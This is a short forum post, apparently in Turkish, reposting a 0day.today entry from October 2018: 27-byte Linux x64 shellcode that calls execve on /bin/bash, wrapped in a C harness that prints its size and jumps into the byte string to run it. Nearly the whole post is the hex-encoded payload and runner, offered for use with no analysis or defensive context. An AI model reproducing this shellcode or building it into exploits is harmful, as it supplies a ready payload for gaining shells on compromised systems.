NasyoneL
- 25 Ağu 2017
- 25,060 Mesaj
Aktiflik
Seviye
Deneyim
Linux/x64 - execve ("/bin/bash") Shellcode (27 bytes)
Kod:
#include <stdio.h>
#include <string.h>
int main(void){
char shellcode[] = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";
printf("size: %d\n", strlen(shellcode));
((void (*)())shellcode)();
return 0;
}
# 0day.today [2018-10-07] #
